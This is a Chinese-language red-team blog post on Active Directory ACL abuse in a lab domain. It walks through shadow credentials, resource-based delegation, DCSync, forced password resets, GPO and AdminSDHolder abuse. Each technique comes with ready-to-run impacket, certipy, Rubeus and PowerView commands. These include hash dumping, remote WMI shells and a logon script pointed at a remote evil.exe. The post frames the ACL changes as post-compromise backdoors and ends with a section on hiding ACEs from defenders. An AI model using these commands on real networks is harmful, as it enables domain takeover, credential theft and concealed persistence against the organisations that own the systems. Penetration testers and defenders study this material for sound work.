ACL abuse

0x00 ACL概述

域架构可以看作所有ACL的整合,域中所有对象都有自己的ACL。当对象A访问B的时候,A出示自己的sid以及特权列表等信息,B通过查看自己的ACL判断A是否有权限访问。

ACL分为DACL和SACL,DACL和SACL又是由若干ACE构成。

DACL代表了每个用户之间的权限分配,比如alice对当前用户dandy有完全控制权限:

SACL的作用是记录对象访问成功与否:

具体关于对安全描述符的解析可以参考:https://www.anquanke.com/post/id/197113

ACL滥用在常规域漏洞打完不生效、或者是拿下整个域后设置后门都是一种好的利用手法。当谈论基于 ACL 滥用时,一般都指自由访问控制列表 (DACL) 的访问控制条目 (ACE)。

0X01 常见的对象权限和类型

Generic_write=WriteProperty + ReadPermissions + All validated rights

GenericAll - 完全控制权限

WriteDACL - 具备修改对象 ACE的能力 -> GenericAll

WriteOwner - 更改对象write owner的能力 -> GenericAll

GenericWrite - 更新对象属性的能力

AllExtendedRights - 具备所有拓展权限(将计算机添加到域的用户会自动获得此权限

Self-Membership - 将自己添加到组中的能力

0x02 利用

WriteDacl

WriteDacl可以修改对象的 ACE,让指定用户对目标具有GenericAll权限。

添加

拿下域权限后添加smith对dandy的WriteDacl权限:

lex

滥用

通过smith设置任意用户到dandy的GenericAll属性(以smith举例):

ldap_shell

至此smith可滥用对dandy的所有属性。

WriteOwner

WriteOwner可以修改Owner为自己本身,Owner 又默认拥有WriteDacl 和 READ/CONTROL权限,可以设置让自身对目标具有GenericAll权限。

添加

拿下域权限后添加jenny对kane的WriteOwner权限:

lex

adfind查询:

AdFind.exe -b "CN=kane,CN=Users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr jenny

滥用

ldap_shell

[1]将kane的owner改为自己(jenny)
set_owner kane jenny

[2]owner有read/control等权限,赋予jenny对kane的GenericAll权限
set_genericall kane jenny

至此jenny可滥用对kane的所有属性。

shadow credentials

GenericAll,GenericWrite,WriteDACL,WriteOwner,WriteProperty(msDS-KeyCredentialLink) over the target.

ms-DS-Key-Credential-Link Guid:5B47D60F-6090-40B2-9F37-2A4DE88F3063

PKINIT 是 Kerberos 预认证的非对称密钥方法(对称方法依赖于客户端的密码),在滥用 Key Trust 时,实际上是在向目标帐户添加替代凭据,从而允许获取 TGT 并用于后续操作。即使用户/计算机更改了密码,这些影子凭据也会保留。

1.默认Domain admins、Key Admins、Enterprise Key Admins组有对域内所有msDS-KeyCredentialLink属性的写入权限 。

2.机器账户有对自身msDS-KeyCredentialLink 的写入权限。

3.对用户对象具有GenericAll/WriteOwner/WriteDACL权限的用户。

滥用前提:

至少一个 Windows Server 2016 域控制器。

安装在域控制器上的服务器身份验证数字证书。

Active Directory 中的 Windows Server 2016 功能级别。

添加

拿下域后,通过高权限账户设置alice对DC1$的msDS-KeyCredentialLink的WriteProperty权限:

1.ldap_shell

dacl_modify DC1$ alice add 5B47D60F-6090-40B2-9F37-2A4DE88F3063

2.lex

adfind查询:

AdFind.exe -b "CN=DC1,OU=Domain Controllers,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr alice

滥用

certipy添加DC1$的msDS-KeyCredentialLink属性,并将证书转换为TGT(返回的PAC中同样包含了ntlm hash)

也可以直接auto dump出目标hash

certipy shadow auto -u alice@redteam.lab -p '1qaz@WSX' -account dc1

DC机器账户具有dcsync权限,利用证书中提权出来的ntlm hash进行dcsync

python3 secretsdump.py 'redteam.lab/DC1$'@192.168.132.130 -hashes :ae854cc8401465667695085104dcbfd2 -just-dc-user administrator

RBCD

GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(msDS-AllowedToActOnBehalfOfOtherIdentity/Account Restrictions) over the target user/computer.

Account Restrictions Guid:4c164200-20c0-11d0-a768-00aa006e0529

msDS-AllowedToActOnBehalfOfOtherIdentity Guid:3F78C3E5-F79A-46BD-A0B8-9D18116DDC79

如果对计算机对象/域用户具Account Restriction和msDS-AllowedToActOnBehalfOfOtherIdentity属性的WriteProperty,就能进行基于资源约束委派的利用。

基于资源的约束委派(Computer)

添加

分两种情况:

(1).creator-sid 用户:

alice-workstation由alice拉入域中,则alice默认就具有alice-workstation的Account Restriction的WriteProperty权限

(2).拿下域权限后添加bob对alice-workstation$的msDS-AllowedToActOnBehalfOfOtherIdentity的WriteProperty权限

1.ldap_shell

dacl_modify alice-workstation$ bob add 3F78C3E5-F79A-46BD-A0B8-9D18116DDC79

2.lex

adfind对alice-workstation的acl进行查询:

AdFind.exe -b "CN=alice-workstation,CN=Computers,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++

滥用

以bob对alice-workstation$滥用进行演示:

域用户默认能添加10台计算机入域(maq),以bob的身份添加bob-evil$

python3 addcomputer.py -method SAMR -dc-ip 192.168.132.130 -computer-name bob-evil -computer-pass 1qaz@WSX "redteam.lab/bob:Qq123456.."

设置bob-evil到alice-station$的rbcd

python3 rbcd.py redteam.lab/bob:Qq123456.. -action write -delegate-to 'alice-station$' -delegate-from 'bob-evil$' -dc-ip 192.168.132.130

约束委派生成administrator对alice-station$的cifs ST票据

python3 getST.py -spn cifs/alice-station.redteam.lab 'redteam.lab/bob-evil$:1qaz@WSX' -impersonate administrator -dc-ip 192.168.132.130

导入票据并获得一个wmi的交互式shell

export KRB5CCNAME=administrator.ccache
python3 wmiexec.py administrator@alice-station.redteam.lab -k -no-pass

基于资源的约束委派(User)

前段时间,老外已经研究出了这种利用方式:

Exploiting RBCD Using a Normal User Account*
* Caveats apply. Resource Based Constrained Delegate (RBCD) privilege escalation, described by Elad Shamir in the “Wagging the Dog” blog p...

在maq=0的情况下,攻击者无法创建机器账户,可以通过域用户rbcd到域机器账户进行滥用。

添加

跟上面一样,alice-station由alice拉入域中,所以alice具有alice-station$域用户的msDS-AllowedToActOnBehalfOfOtherIdentity的WriteProperty权限。

设置bob到alice-station$到bob的rbcd:

python3 rbcd.py redteam.lab/alice:Qq123456.. -action write -delegate-to 'alice-station$' -delegate-from 'bob' -dc-ip 192.168.132.130

滥用

getST.py生成administrator对alice-station的cifs ST票据:

python3 getST.py -spn cifs/alice-station.redteam.lab 'redteam.lab/bob:Qq123456..' -impersonate administrator -dc-ip 192.168.132.130

在S4U2self阶段报错:Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN。

这是因为用户默认没有注册SPN,KDC无法选择正确的密钥来解密,所以在S4U2Self才会失败。如果将 SPN 添加到bob就能成功从KDC申请ST票据,这意味着这不是用户帐户本身的问题,而只是 KDC 无法选择正确密钥进行解密。

U2U实现了用户到用户的身份验证拓展,在S4U2Proxy阶段KDC会尝试使用bob的Long-term key(bob 的hash)进行解密,但U2U会使用附加到TGS-REQ当中的TGT会话密钥加密之后的票据,KDC无法正常解密。这时可以利用SamrChangePasswordUser在S4U2Self和S4U2Proxy中间将bob的hash更改成U2U对TGT加密密钥的值,KDC就能成功解密并颁发ST票据。

具体可参考:https://mp.weixin.qq.com/s/1eJb-UtSVRV5JF0gfQgwWg

Rubeus.exe s4u /user:bob /domain:redteam.lab /dc:dc1.redteam.lab /rc4:5E95607216D9A4B7654D831BEB9EE95C /impersonateuser:Administrator /msdsspn:cifs/alice-station.redteam.lab

impacket利用

以设置普通域用户dandy基于资源约束委派到dc1$为例,这里直接粗暴利用administrator设置rbcd

# 设置dandy到dc1$的RBCD
python3 rbcd.py redteam.lab/administrator:Qq123456.. -action write -delegate-to 'dc1$' -delegate-from 'dandy' -dc-ip 192.168.134.130

# 使用dandy的hash生成TGT(ntlm hash使用RC4加密)
getTGT.py -hashes :$(pypykatz crypto nt 'Qq123456..') 'redteam.lab/dandy' -dc-ip 192.168.134.130

# 获取dandyTGT的Session Key
python3 describeticket.py dandy.ccache | grep 'Ticket Session Key'

# 将dandy的hash设置为Session Key
python3 smbpasswd.py -newhashes :c592bc40c1908aff4787f4f4db7f0a82 'redteam/dandy:Qq123456..'@dc1.redteam.lab

# 导入TGT
export KRB5CCNAME=dandy.ccache

# 利用u2u获取dc1的host service的ST
python3 getST.py -u2u -impersonate administrator -spn "host/dc1.redteam.lab" -k -no-pass 'redteam.lab/dandy'

# 导入ST
export KRB5CCNAME=administrator@host_dc1.redteam.lab@REDTEAM.LAB.ccache

# WMI
python3 wmiexec.py administrator@dc1.redteam.lab -k -no-pass

注:SamrChangePasswordUser受域组策略影响,域内默认且普遍存在密码策略,可能不能做到及时改回密码。如果肯定通过当前域用户能拿下DC的话可以进行尝试,利用成功后将用户密码改为原来的值。

Self (Self-Membership) on Group

GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(member) over the target group.

member Guid:BF9679C0-0DE6-11D0-A285-00AA003049E2

如果用户有对目标组有WriteProperty(member) 的权限时,可以滥用 Self (Self-Membership) on Group 权限,可将任意用户添加至受害组。

通常作用于domain admins 、exchange windows permission、exchange trusted subsystem、backup operators等组。

添加

拿下域权限后添加dandy对domain admins的member属性的WriteProperty权限:

1.ldap_shell

dacl_modify "domain admins" dandy add BF9679C0-0DE6-11D0-A285-00AA003049E2

2.lex

adfind查询:

AdFind.exe -b "CN=Domain Admins,CN=Users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr dandy

滥用

add bob to domain admins

1.ldap_shell

2.cmd

logon script

GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(scriptPath/Logon Information) over the target user.

ScriptPath Guid:BF9679C0-0DE6-11D0-A285-00AA003049E2

Logon information Guid:5F202010-79A5-11D0-9020-00C04FC2D4CF

如果用户有对目标WriteProperty(scriptPath或Logon Information)的权限时,可以滥用logon script权限,在受害者登录时执行自定义脚本。

添加

拿下域后设置dandy对bob具有WriteProperty的Logon Information权限:

1.ldap_shell

dacl_modify bob dandy add 5F202010-79A5-11D0-9020-00C04FC2D4CF

2.lex

adfind查询:

AdFind.exe -b "CN=bob,CN=Users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr dandy

滥用

powershell

Set-DomainObject -Identity bob -Set @{'scriptpath'='\\192.168.132.100\evil.exe'} -Verbose

Targeted Kerberoasting

GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(servicePrincipalName) over the target user.

servicePrincipalName Guid:F3A64788-5306-11D1-A9C5-0000F80367C1

通过将任意无意义的SPN ( ServicePrincipalName) 添加到该帐户。一旦帐户具有 SPN,就能对其进行Kerberoasting,如果目标密码较弱,则可能被攻击者成功离线爆破。

添加

拿下域权限后添加allen对alice的servicePrincipalName的WriteProperty权限(alice为普通域用户,没有注册SPN):

1.ldap_shell

dacl_modify alice allen add F3A64788-5306-11D1-A9C5-0000F80367C1

2.lex

adfind查询:

AdFind.exe -b "CN=alice,CN=Users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr allen

滥用

1.targetedKerberoast.py

python3 targetedKerberoast.py -d redteam.lab -u allen -p Qq123456.. --dc-ip 192.168.132.130 -vv

通过verbose输出可以看到,对于每个没有 SPN 的用户,targetedKerberoast会尝试设置一个SPN(滥用servicePrincipalName属性的写入权限),打印hashcat格式的用户hash,然后删除设置的SPN。

2.powershell

# Make sur that the target account has no SPN
Get-DomainUser 'alice' | Select serviceprincipalname

# Set the SPN
Set-DomainObject -Identity 'alice' -Set @{serviceprincipalname='abc/qweasdzxc'}

# Obtain a kerberoast hash
$User = Get-DomainUser 'alice'
$User | Get-DomainSPNTicket | fl

# Clear the SPNs of the target account
Set-DomainObject -Identity alice -Clear serviceprincipalname

注:SPN 分机器账户和普通域用户;机器账户默认包含SPN属性,但其密码30天会自动更改,并且长度为随机的120字符,基本不存在爆破成功的可能,所以Kerberoasting利用工具都排除了机器账户的利用。

Force Change Password

GenericAll,WriteDacl,WriteOwner,AllExtendedRights(Reset Password) over the target user/computer.

Reset Password Guid:00299570-246d-11d0-a768-00aa006e0529

ChangeNTLM

如果拿到了一个域用户的hash但解不出来,能调用SamrChangePasswordUser将该域用户重置新的明文密码或hash。利用需要对目标用户有Change Password权限,该权限一般是everyone拥有的,所以基本上拿到目标用户的hash/密码后都可以进行密码更改。

比如抓到alice的hash为5e95607216d9a4b7654d831beb9ee95c

python3 smbpasswd.py redteam/alice@redteam.lab -hashes :5e95607216d9a4b7654d831beb9ee95c -newpass '123QWE&*('

ChangeNTLM利用受域内组策略影响,如果域内密码策略进行了限制,比如设置了密码最短使用期限为1天,这样每天只能修改一次密码。并且如果测试设置了强制密码历史规则时,则在更改次数内不能将密码修改为原密码。

SetNTLM

SetNTLM调用SamrSetInformationUser,能在不知道域用户密码的情况下将其重置为新的密码或hash,利用需要对要修改的用户有Reset Password权限(域管默认拥有)。

比如拿下了整个域,但dandy的hash解不出来,就能直接通过域管重置dandy的密码:

python3 smbpasswd.py redteam/dandy@redteam.lab -newpass '123!@#QWE' -altuser redteam/administrator -altpass Qq123456.. -debug -admin

当使用-admin 参数时,smbpasswd.py会自动调用SamrSetInformationUser对目标密码进行修改。

两种修改密码的方式都有各自的优缺点,攻击者可以设置acl让任意账户对特定账户有Reset Password权限,从而达到不知道目标用户密码也能对其进行修改的目的。

添加

拿下域权限后设置allen到alice的AllExtendedRights中的Reset Password权限,可在不知道alice密码的情况下用allen修改他的密码。

lex

adfind查询:

AdFind.exe -b "CN=alice,CN=users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr allen

滥用

1.impacket

python3 smbpasswd.py redteam/alice@redteam.lab -newpass '123qwe!@#' -altuser redteam/allen -altpass Qq123456.. -admin

2.powershell

$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'alice' -AccountPassword $NewPassword

Dcsync

GenericAll,WriteDacl,WriteOwner,AllExtendedRights(DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) over the basedn.

如果域对象具备以下两个权限,就能dcsync:

DS-Replication-Get-Changes     = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-All = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

添加

拿下域后设置smith对DC=redteam,DC=lab的WriteDacl权限,然后smith就能设置任何用户的Dcsync属性:

1.ldap_shell:

dacl_modify DC=redteam,DC=lab smith add WriteDacl

2.lex:

adfind查询:

AdFind.exe -b "DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr smith

滥用

以设置tom用户的dcsync属性为例:

1.dcsync.py

python3 dcsync.py -dc dc1.redteam.lab -t 'CN=tom,CN=Users,DC=redteam,DC=lab'  'redteam\smith:Qq123456..'

2.powershell

Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=lab" -PrincipalIdentity tom -Rights DCSync -Verbose

adfind查询:

AdFind.exe -s subtree -b "DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr tom

dump hash

python3 secretsdump.py redteam.lab/tom:'Qq123456..'@192.168.132.130 -just-dc-user administrator

清除:

python3 aclpwn.py -r aclpwn-20220926-150940.restore

evil GPO

GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(gPCFileSysPath) over the policy.

在对域内某一GPO具有修改权限时,能对GPO内的对象添加用户权限、添加一个本地管理员、配置一个用户或计算机登录脚本、配置计算机或用户立即执行的任务等进行滥用。

每个OU都有一个唯一id,名为saler的OU的id为E9AFFCC6-5582-4F88-9483-D906A4E35FA8:

GPO又分为GPT和GPC存储:

GPT包含了组策略的配置信息。

GPC里的gPCFileSysPath链接到GPT。在LDAP中的CN=Policies,CN=System,DC=domain,DC=name目录下,每个OU都对应一个GPC,并且GPC名称与OU的id一致。

对GPO进行滥用其实本质上就是修改

\domain.name\SysVol\domain.name\Policies{GPO_GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf相关的GPO文件。

添加

有的域会存在委派用户对特定OU具有修改权限的情况,比如alice对saler policy存在编辑权限:

1.LEX

2.powershell

$RawObject = Get-DomainGPO -Raw -Identity '市场部-A组-北京-交付-组策略'

$TargetObject = $RawObject.GetDirectoryEntry()

$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity evilss -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty

$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)

$TargetObject.PsBase.CommitChanges()

至此evilss对市场部-A组-北京-交付组策略有GenericAll权限

bloodhound

SharpGPOAbuse

以将backdooruser添加到本地管理员组为例

GPO 每 90 分钟更新, 或者使用gpupdate /force强制更新。

AdminSDHolder

GenericAll,WriteDACL,WriteOwner over CN=AdminSDHolder,CN=System,DC=domain,DC=name.

AdminSDHolder位于AD中的system下,可以看成是域内很多个组例如Domain Admins、Domain Controllers、Enterprise Admins等组的集合,如果一个用户能完全控制AdminSDHolder,那么它就能同时控制这个集合里面的所有组。

AdminSDHolder通过SDProp保护,防止受保护对象(admincount=1的用户和组,例如domain admins)被恶意或者无意修改。检查将以AdminSDHolder ACL为准,如果受保护对象的ACL与AdminSDHolder中的不一致,SDProp进程将重写该保护对象的ACL,使其恢复与AdminSDHolder容器相同的ACL配置。

添加

为dandy设置AdminSDHolder的GenericAll:

1.lex

2.powershell

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName dandy -Verbose -Rights All

adfind查询:

AdFind.exe -b "CN=AdminSDHolder,CN=System,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr dandy

SDProp默认每60分钟运行一次,可以通过ldp.exe或者修改注册表的方式强制更新。

滥用

通过dandy添加smith到domain admins组:

1.ldap_shell:

2.cmd:

LAPS

GenericAll,WriteDacl,WriteOwner,AllExtendedRights over the target computer.

LAPS(本地管理员密码解决方案)为域中每台域机器的公共本地管理员用户设置不同的随机密码,解决了臭名昭著的PTH,使用该解决方案的域管可以确定哪些用户有权读取LAPS的密码。

添加

如果A机器启动了LAPS,那么对A机器拥有AllExtendedRights权限的用户可以查看A的LAPS的密码:

lex

滥用

adinfo

./Adinfo_darwin -d redteam.lab --dc 192.168.132.130 -u bob -p Qq123456..  --checkLAPS

adexplorer查看

WriteSPN

SPN-jacking: An Edge Case in WriteSPN Abuse
Some people are a hammer in search of a nail, but I’m a hammer in search of Kerberos delegation. So, when I heard that a WriteSPN edge was introduced to Bloodhound 4.1, I started exploring alternative abuse techniques beyond targeted Kerberoasting, and I found an edge case (pun intended) that can be…

0x03 LEX、Adfind图示

GenericWrite

GenericDACL

WriteProperty

GenericAll

AllExtendedRights

0x04 隐藏ACL

通过隐藏账户可以掩盖主体本身,阻止防御者轻易的发现谁实际上拥有ACE中指定的权限。这种方式主要应对的是对于高危的ACL进行扫描行为。隐藏用户

1、将要隐藏的用户所有者改为攻击者或者攻击者控制的账户

2、设置一条拒绝完全控制的ACE添加SELF用户和Everyone用户拒绝类型,将要修改的组/用户名的所有者改为攻击者控制的用户名

之后就会变成一片空白,powerview也查不到

Get-DomainObjectAcl -Identity user01 -domain DOMAIN.local -Resolve

0x05 小结

文章演示了一些常见的ACL利用场景。ACL利用的方式多种多样,其中还有很多没提到的用法,比如依照DENY ACE的优先度大于ALLOW ACE的特性设置“不可见”的OU、配合relay实现添加shadow credentials/dcsync等。

0x06 参考

https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/

https://mp.weixin.qq.com/s/1eJb-UtSVRV5JF0gfQgwWg

https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html

https://www.anquanke.com/post/id/197113?display=mobile

https://www.thehacker.recipes/ad/movement/dacl

https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse

https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

  • Created 2022-10-22 05:51
  • Published 2022-10-11 05:51
  • Updated 2024-11-10 14:34